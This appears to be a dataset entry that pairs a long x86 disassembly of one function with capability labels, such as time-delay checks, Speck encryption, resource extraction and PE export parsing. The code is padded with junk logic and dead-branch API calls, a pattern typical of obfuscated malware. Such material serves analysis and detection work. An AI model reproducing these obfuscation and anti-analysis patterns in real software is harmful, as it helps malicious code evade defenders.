Function at 0x1002f655
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check os version
Create process on windows
Encrypt data using speck
Extract resource via kernel32 functions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100732c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xf24
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1a4], 0xfffffff6
mov dword [ebp - 0x304], 0xe5a945cb
mov dword [ebp - 0x89c], 0
mov dword [ebp - 0x878], 0
mov dword [ebp - 0x3c8], 0xfffffffb
mov dword [ebp - 0x78], 0
jmp 0x1002f6bc
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x1002f6d2
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x8d8], 0x3f4f8803
jmp 0x1002f6b5
mov dword [ebp - 0x78], 0
jmp 0x1002f6e2
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x1002f6f5
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x50], 0x6e85fcb
jmp 0x1002f6db
cmp dword [ebp - 0x1a4], 0
je 0x1002f8d4
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x8d8], 0xd018d303
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0xc40], eax
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0xdd0], eax
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x91c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x91c]
mov dword [ebp + eax - 0x8d8], ecx
cmp dword [ebp - 0x1a4], 0
je 0x1002f76a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x50], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8d8]
mov dword [ebp - 0xcf4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
mov dword [ebp - 0xda0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
mov dword [ebp - 0xd04], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x50], 0x9843
jge 0x1002f7b9
mov dword [ebp - 0x888], 1
jmp 0x1002f7c0
and dword [ebp - 0x888], 0
cmp dword [ebp - 0x888], 0xffffffff
jge 0x1002f7d5
mov dword [ebp - 0x86c], 1
jmp 0x1002f7dc
and dword [ebp - 0x86c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x86c]
sub ecx, dword [ebp + eax - 0x50]
mov eax, dword [ebp - 0x1a4]
imul eax, ecx
test eax, eax
jne 0x1002f805
mov dword [ebp - 0x894], 1
jmp 0x1002f80c
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0x894]
sub eax, dword [ebp - 0x89c]
imul eax, dword [ebp - 0x89c]
test eax, eax
jne 0x1002f83c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8d8], 0
jne 0x1002f83c
and dword [ebp - 0x8a4], 0
jmp 0x1002f846
mov dword [ebp - 0x8a4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
cmp dword [ebp - 0x8a4], eax
jne 0x1002f864
mov dword [ebp - 0x8bc], 1
jmp 0x1002f86b
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x878], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x878]
cmp ecx, dword [ebp + eax - 0x50]
jle 0x1002f89f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x50], 0
jne 0x1002f89f
and dword [ebp - 0x498], 0
jmp 0x1002f8a9
mov dword [ebp - 0x498], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
cmp dword [ebp - 0x498], eax
jne 0x1002f8c7
mov dword [ebp - 0x78c], 1
jmp 0x1002f8ce
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x3c8]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp + 0x10], 0
jbe 0x1002fb81
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002fb81
mov dword [ebp - 0xd8], 0xac64a684
mov dword [ebp - 0xbf0], 0xffffffff
mov dword [ebp - 0xbec], 0xffffffff
mov dword [ebp - 0xbe8], 0xffffffff
mov dword [ebp - 0xbe4], 0xffffffff
push 2
lea ecx, [ebp - 0xcf0]
call fcn.1000fa0b
and dword [ebp - 4], 0
mov dword [ebp - 0x16c], 0x6d9935ff
mov dword [ebp - 0x2b4], 0
jmp 0x1002f961
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 2
jge 0x1002f983
push dword [ebp - 0x2b4]
lea ecx, [ebp - 0xcf0]
call fcn.1000fa89
mov dword [eax], 0xb39e2240
jmp 0x1002f954
mov dword [ebp - 0xd8], 0xffffffe7
jmp 0x1002f99c
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x15
jne 0x1002fb25
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0xdf8], 0x9b780f88
mov dword [ebp - 0xd14], 0xffffffff
mov dword [ebp - 0xda8], 0xffffffff
mov dword [ebp - 0xc1c], 0xfffffffd
mov dword [ebp - 0xc50], 0x604491d0
mov dword [ebp - 0x54], 0x11
jmp 0x1002f9f2
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xffffffe9
je 0x1002fb20
mov dword [ebp - 0x794], 0xf145ba13
mov dword [ebp - 0xc58], 0xf63abefa
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0xd8]
jne 0x1002fa27
mov dword [ebp - 0x9a4], 1
jmp 0x1002fa2e
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xc60], eax
mov eax, dword [ebp - 0xd8]
add eax, dword [ebp - 0x54]
neg eax
cmp eax, dword [ebp - 0x794]
jle 0x1002fa5f
cmp dword [ebp - 0x794], 0
je 0x1002fa5f
mov dword [ebp - 0x3d0], 1
jmp 0x1002fa66
and dword [ebp - 0x3d0], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x3d0], eax
jge 0x1002fa7d
mov dword [ebp - 0x79c], 1
jmp 0x1002fa84
and dword [ebp - 0x79c], 0
cmp dword [ebp - 0x79c], 0xfc4f
jne 0x1002fa9c
mov dword [ebp - 0x3d8], 1
jmp 0x1002faa3
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0x3d8]
neg eax
mov dword [ebp - 0x7a4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp + eax - 0xbf0], ecx
mov eax, dword [ebp - 0xd8]
add eax, dword [ebp - 0x7a4]
cmp eax, dword [ebp - 0x54]
jge 0x1002fb04
mov byte [ebp - 0x160], 0
movzx eax, byte [ebp - 0x160]
test eax, eax
je 0x1002faf7
push 0x1ec3
push 0x10b9
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp dword [ebp - 0x54], 0
je 0x1002fb02
jmp 0x1002f9eb
jmp 0x1002fb1b
mov dword [ebp - 0xc68], 0xffffffff
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
jmp 0x1002f9eb
jmp 0x1002f98f
mov dword [ebp - 0x16c], 4
jmp 0x1002fb3e
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x13
je 0x1002fb5e
mov dword [ebp - 0x9ac], 0x44ed
cmp dword [ebp - 0x9ac], 0
je 0x1002fb5c
jmp 0x1002fb5e
jmp 0x1002fb31
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcf0]
call fcn.1000fa6d
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.100294e1
pop ecx
pop ecx
jmp 0x10036350
mov dword [ebp - 0x88], 0
jmp 0x1002fb9a
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x1002fbb6
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x9b4], 3
jmp 0x1002fb8d
mov dword [ebp - 0x88], 0
jmp 0x1002fbcf
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x1002fbeb
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x198], 0x90c4d8e5
jmp 0x1002fbc2
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x198], 0
jmp 0x1002fc19
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x198]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x198], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x198], 0
jg 0x1002fcc2
mov dword [ebp - 0x2dc], 0x31d83293
mov byte [ebp - 0x164], 0
movzx eax, byte [ebp - 0x164]
test eax, eax
je 0x1002fc61
push 0x22cf
push 0
push 0
push 0
push 0
push 0x179e
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x2dc], 0
jmp 0x1002fc7a
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
jg 0x1002fcbd
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x1002fca2
push 0
push 0x2267
call dword [sym.imp.USER32.dll_KillTimer]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x198]
cmp dword [ebp + eax*4 - 0x9b4], 0
je 0x1002fcbb
jmp 0x1002fcbd
jmp 0x1002fc6d
jmp 0x1002fbfe
mov byte [ebp - 0x15e], 0
movzx eax, byte [ebp - 0x15e]
test eax, eax
je 0x1002fcdc
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov dword [ebp - 0x5c], 8
mov dword [ebp - 0xc8], 0x8c9a01c7
mov dword [ebp - 0xac8], 0x6082f4e5
mov dword [ebp - 0xac4], 0x6082f4e5
mov dword [ebp - 0xac0], 0x6082f4e5
mov dword [ebp - 0xabc], 0x6082f4e5
mov dword [ebp - 0xa08], 0x52705104
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x5c]
jg 0x1002ffaf
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x7dc], 0xa527
mov dword [ebp - 0x7e4], 0x1e183a09
mov dword [ebp - 0xa00], 0
cmp dword [ebp - 0x3c], 0
jne 0x1002fd65
cmp dword [ebp - 0x3c], 0
jne 0x1002fd65
and dword [ebp - 0x9f8], 0
jmp 0x1002fd6f
mov dword [ebp - 0x9f8], 1
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0xc70], eax
cmp dword [ebp - 0x5c], 0x2c4d
jg 0x1002fd96
mov eax, 0x8c84
test eax, eax
jne 0x1002fd96
and dword [ebp - 0x3e0], 0
jmp 0x1002fda0
mov dword [ebp - 0x3e0], 1
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x3e0]
jle 0x1002fdb7
mov dword [ebp - 0x7ac], 1
jmp 0x1002fdbe
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x7ac], eax
jle 0x1002fdd5
mov dword [ebp - 0x3e8], 1
jmp 0x1002fddc
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x3e8], eax
jl 0x1002fdf3
mov dword [ebp - 0x7b4], 1
jmp 0x1002fdfa
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x7b4]
cmp eax, dword [ebp - 0x3c]
je 0x1002fe14
mov dword [ebp - 0x3f0], 1
jmp 0x1002fe1b
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3f0], eax
jg 0x1002fe32
mov dword [ebp - 0x7bc], 1
jmp 0x1002fe39
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x7bc], eax
jge 0x1002fe50
mov dword [ebp - 0x3f8], 1
jmp 0x1002fe57
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3f8], eax
jg 0x1002fe6e
mov dword [ebp - 0x378], 1
jmp 0x1002fe75
and dword [ebp - 0x378], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x378]
mov dword [ebp + eax - 0xac8], ecx
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x378], eax
jle 0x1002fe9f
mov dword [ebp - 0x7c4], 1
jmp 0x1002fea6
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x7dc]
cmp dword [ebp - 0x7c4], eax
jge 0x1002fec0
mov dword [ebp - 0x400], 1
jmp 0x1002fec7
and dword [ebp - 0x400], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x400], eax
jge 0x1002fede
mov dword [ebp - 0x7cc], 1
jmp 0x1002fee5
and dword [ebp - 0x7cc], 0
imul eax, dword [ebp - 0x7cc], 0xffffffff
test eax, eax
je 0x1002ff02
cmp dword [ebp - 0x3c], 0
je 0x1002ff02
mov dword [ebp - 0x408], 1
jmp 0x1002ff09
and dword [ebp - 0x408], 0
cmp dword [ebp - 0x408], 7
jl 0x1002ff1e
mov dword [ebp - 0x7d4], 1
jmp 0x1002ff25
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x7d4], eax
jne 0x1002ff3c
mov dword [ebp - 0x410], 1
jmp 0x1002ff43
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0xc8]
imul eax, dword [ebp - 0x410]
cmp eax, dword [ebp - 0x7dc]
jg 0x1002ff61
cmp dword [ebp - 0xc8], 0
jne 0x1002ff70
cmp dword [ebp - 0x5c], 0
jne 0x1002ff70
and dword [ebp - 0x418], 0
jmp 0x1002ff7a
mov dword [ebp - 0x418], 1
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x7e4], eax
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0xa00], eax
mov byte [ebp - 0x129], 0
movzx eax, byte [ebp - 0x129]
test eax, eax
je 0x1002ffaa
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jmp 0x1003015b
mov dword [ebp - 0x40], 0xd734895c
mov dword [ebp - 0xc8], 5
jmp 0x1002ffcf
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 5
jge 0x10030030
cmp dword [ebp - 0x40], 0
je 0x1002ffe0
jmp 0x10030030
mov byte [ebp - 0x162], 0
movzx eax, byte [ebp - 0x162]
test eax, eax
je 0x1003002e
push 0
push 0x841
push 0x20c0
push 0
push 0x6fb
push 0x67d
push 0x4e1
push 0x2cb
push 0x17a1
push 0xbd2
push 0x1b75
push 0x1889
call dword [sym.imp.GDI32.dll_MaskBlt]
jmp 0x1002ffc2
mov dword [ebp - 0x5c], 0
jmp 0x10030040
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jg 0x1003015b
mov dword [ebp - 0xc78], 0xf6ec
mov dword [ebp - 0x40], 0
jmp 0x10030064
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jg 0x10030117
mov dword [ebp - 0x350], 0xf1db06d6
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xac8], 1
xor eax, eax
inc eax
cmp eax, 0x2283
jle 0x1003009c
mov dword [ebp - 0x420], 1
jmp 0x100300a3
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x350]
cmp dword [ebp - 0x420], eax
je 0x100300bd
mov dword [ebp - 0x7ec], 1
jmp 0x100300c4
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x7ec], eax
jle 0x100300de
mov dword [ebp - 0x428], 1
jmp 0x100300e5
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x350]
cmp dword [ebp - 0x428], eax
jle 0x100300ff
mov dword [ebp - 0x7f4], 1
jmp 0x10030106
and dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0x7f4]
mov dword [ebp - 0x350], eax
jmp 0x1003005d
mov dword [ebp - 0x40], 3
jmp 0x10030127
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x10030156
mov byte [ebp - 0x131], 0
movzx eax, byte [ebp - 0x131]
test eax, eax
je 0x10030145
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0xac8], 0
je 0x10030154
jmp 0x10030156
jmp 0x10030120
jmp 0x10030039
mov dword [ebp - 0xa08], 9
cmp dword [ebp + 0x10], 0
jne 0x10034018
mov dword [ebp - 0xc80], 0xffffffff
mov dword [ebp - 0xa10], 0x1dcb
cmp dword [ebp - 0xa10], 0x88f
jge 0x100302b6
lea eax, [ebp - 0x310]
push eax
push 0x10007aa4
call fcn.10059dcf
pop ecx
pop ecx
lea ecx, [ebp - 0xb64]
call fcn.10037419
mov dword [ebp - 4], 1
and dword [ebp - 0x298], 0
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0xa18], eax
mov eax, dword [ebp - 0x310]
dec eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0xa18], 0
je 0x10030295
lea eax, [ebp - 0x37c]
push eax
push 0x10007aa4
call fcn.10059dcf
pop ecx
pop ecx
lea ecx, [ebp - 0xb64]
call fcn.1003738a
movzx eax, al
test eax, eax
jne 0x1003027e
lea ecx, [ebp - 0xb64]
call fcn.1003744f
mov eax, dword [eax]
xor eax, dword [ebp - 0x37c]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x298]
cmp eax, dword [ebp - 0x430]
jle 0x1003023f
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x7fc], eax
jmp 0x1003024b
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x7fc], eax
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0x298], eax
lea ecx, [ebp - 0xb64]
call fcn.1003744f
mov eax, dword [eax]
cmp eax, dword [ebp - 0x37c]
jle 0x1003026e
jmp 0x1003027e
lea ecx, [ebp - 0xb64]
call fcn.1003749b
jmp 0x100301f8
lea eax, [ebp - 0x37c]
push eax
lea ecx, [ebp - 0xb64]
call fcn.10037492
jmp 0x100301bf
push dword [ebp - 0x298]
push 0x10008230
call fcn.100598a3
pop ecx
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb64]
call fcn.100374a5
mov dword [ebp - 0xc88], 0xd453606d
mov dword [ebp - 0xb3c], 0x5d09ea9
mov dword [ebp - 0xb38], 0x5d09ea9
mov dword [ebp - 0xb34], 0x5d09ea9
mov dword [ebp - 0xb30], 0x5d09ea9
lea ecx, [ebp - 0x369]
call fcn.1000fa98
push eax
lea eax, [ebp - 0xb2c]
push eax
lea eax, [ebp - 0xb3c]
push eax
lea ecx, [ebp - 0xe8c]
call fcn.1000fa9b
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe48]
call fcn.1000fa47
mov dword [ebp - 0x438], 0xfffffffd
mov byte [ebp - 0x15a], 0
movzx eax, byte [ebp - 0x15a]
test eax, eax
je 0x10030341
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
lea ecx, [ebp - 0xe48]
call fcn.1000fa6d
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1002294e
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x24], 0xffffffff
push 1
lea ecx, [ebp - 0xbb8]
call fcn.1000fa0b
mov dword [ebp - 4], 2
mov dword [ebp - 0x358], 0xfffffffc
mov dword [ebp - 0x814], 0
mov dword [ebp - 0x81c], 0
mov dword [ebp - 0xc90], 9
mov dword [ebp - 0x80], 0
jmp 0x100303bd
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x100303d9
push dword [ebp - 0x80]
lea ecx, [ebp - 0xbb8]
call fcn.1000fa89
mov dword [eax], 0xfffffff6
jmp 0x100303b6
mov dword [ebp - 0x80], 0
jmp 0x100303e9
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jge 0x100303ff
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x210], 0xfffffffd
jmp 0x100303e2
mov dword [ebp - 0x24], 0
jmp 0x1003040f
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x16
jge 0x10030433
mov byte [ebp - 0x139], 0
movzx eax, byte [ebp - 0x139]
test eax, eax
je 0x10030431
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x10030408
mov eax, 0x9cd4
test eax, eax
je 0x10030440
cmp dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xc98], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xca0], eax
mov eax, 0xee61780e
sub eax, dword [ebp - 0x24]
je 0x1003046e
cmp dword [ebp - 0x24], 0
je 0x1003046e
mov dword [ebp - 0x318], 1
jmp 0x10030475
and dword [ebp - 0x318], 0
push 0
lea ecx, [ebp - 0xbb8]
call fcn.1000fa89
mov ecx, dword [ebp - 0x318]
mov dword [eax], ecx
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x6eea
jg 0x100304ae
mov dword [ebp - 0x804], 1
jmp 0x100304b5
and dword [ebp - 0x804], 0
cmp dword [ebp - 0x804], 0xfff8
jae 0x100304cd
mov dword [ebp - 0x440], 1
jmp 0x100304d4
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0xc4ddb84c
jb 0x100304ec
mov dword [ebp - 0x80c], 1
jmp 0x100304f3
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x80c], eax
jl 0x1003050a
mov dword [ebp - 0x448], 1
jmp 0x10030511
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0x814], eax
mov eax, dword [ebp - 0x814]
mov dword [ebp - 0xca8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x210]
mov dword [ebp - 0xcb0], eax
cmp dword [ebp - 0x358], 0xbf8b
jge 0x10030554
mov dword [ebp - 0x450], 1
jmp 0x1003055b
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x450]
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 1
jge 0x1003057f
mov dword [ebp - 0x458], 1
jmp 0x10030586
and dword [ebp - 0x458], 0
cmp dword [ebp - 0x458], 0x98dc509c
jbe 0x1003059e
mov dword [ebp - 0x824], 1
jmp 0x100305a5
and dword [ebp - 0x824], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x824]
cmp ecx, dword [ebp + eax - 0x210]
jne 0x100305c9
mov dword [ebp - 0x460], 1
jmp 0x100305d0
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x460], eax
jl 0x100305e7
mov dword [ebp - 0x82c], 1
jmp 0x100305ee
and dword [ebp - 0x82c], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x210]
imul ecx, dword [ebp - 0x82c]
cmp ecx, dword [ebp + eax - 0x210]
jl 0x1003061d
mov dword [ebp - 0x468], 1
jmp 0x10030624
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x24], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbb8]
call fcn.1000fa6d
mov dword [ebp - 0xe0], 0xffffffff
mov dword [ebp - 0x834], 0x7bba
mov dword [ebp - 0xa20], 0x100085e8
cmp dword [ebp - 0x834], 0x7eb4
jle 0x10030747
and dword [ebp - 0x2a8], 0
jmp 0x10030680
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x22c8
jge 0x10030747
and dword [ebp - 0x220], 0
jmp 0x100306a6
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x212a
jge 0x10030742
and dword [ebp - 0x2a0], 0
jmp 0x100306cc
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x1e83
jge 0x1003073d
and dword [ebp - 0x218], 0
jmp 0x100306ee
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x4229
jge 0x1003073b
mov eax, dword [ebp - 0x2a0]
imul eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x2a8]
imul ecx, dword [ebp - 0x220]
or eax, ecx
cdq
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], edx
push dword [ebp - 0x9bc]
push dword [ebp - 0x9c0]
mov ecx, 0x1061a6b8
call fcn.1000f7b3
jmp 0x100306e1
jmp 0x100306bf
jmp 0x10030699
jmp 0x10030673
mov dword [ebp - 0xaa0], 0xca70051e
mov dword [ebp - 4], 3
cmp dword [ebp - 0x834], 0x7b3c
jge 0x10030774
mov edx, dword [ebp - 0xa20]
mov ecx, 0x1061a6b8
call fcn.10011dbf
jmp 0x10030790
or dword [ebp - 4], 0xffffffff
jmp 0x1003079a
mov dword [ebp - 0xe0], 0
jmp 0x100307b3
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xffffffef
je 0x1003088c
mov dword [ebp - 0x2b0], 0x52835357
mov byte [ebp - 0xce], 0
movzx eax, byte [ebp - 0xce]
test eax, eax
je 0x100307e2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul eax, dword [ebp - 0x2b0], 0
cmp dword [ebp - 0xe0], eax
jle 0x100307fd
mov dword [ebp - 0x470], 1
jmp 0x10030804
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x470], eax
jne 0x1003081e
mov dword [ebp - 0xa98], 1
jmp 0x10030825
and dword [ebp - 0xa98], 0
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0xcb8], eax
cmp dword [ebp - 0xe0], 0
je 0x1003084f
cmp dword [ebp - 0x2b0], 0
je 0x1003084f
mov dword [ebp - 0x83c], 1
jmp 0x10030856
and dword [ebp - 0x83c], 0
imul eax, dword [ebp - 0x83c], 0xfffffffd
sub eax, dword [ebp - 0x2b0]
cmp eax, 0xfffffff9
jle 0x10030874
mov dword [ebp - 0x478], 1
jmp 0x1003087b
and dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0xaa0], eax
jmp 0x100307a6
mov dword [ebp - 0x20], 0x15252cb1
mov dword [ebp - 0x328], 9
mov dword [ebp - 0x6c8], 0xc630de2f
mov dword [ebp - 0x4a8], 1
mov dword [ebp - 0x6c0], 5
mov dword [ebp - 0x2b8], 0xfffffff7
mov dword [ebp - 0xa70], 4
mov dword [ebp - 0x384], 0xffffffff
mov dword [ebp - 0xa6c], 0
mov dword [ebp - 0x228], 0
jmp 0x100308fc
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 3
jge 0x10030918
mov eax, dword [ebp - 0x228]
mov dword [ebp + eax*4 - 0x3b8], 1
jmp 0x100308ef
mov dword [ebp - 0x20], 0
jmp 0x10030928
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x10030b78
mov dword [ebp - 0x190], 0xe08cccdd
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x190], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x3b8]
mov dword [ebp - 0x844], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x844]
mov dword [ebp + eax*4 - 0x3b8], ecx
cmp dword [ebp - 0x844], 0
je 0x10030b3e
mov dword [ebp - 0x320], 0x9c3d
mov dword [ebp - 0x194], 0xffffffff
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0xcc0], eax
cmp dword [ebp - 0x194], 0
jne 0x100309b2
mov dword [ebp - 0x480], 1
jmp 0x100309b9
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x480], eax
jle 0x100309d0
mov dword [ebp - 0xaa8], 1
jmp 0x100309d7
and dword [ebp - 0xaa8], 0
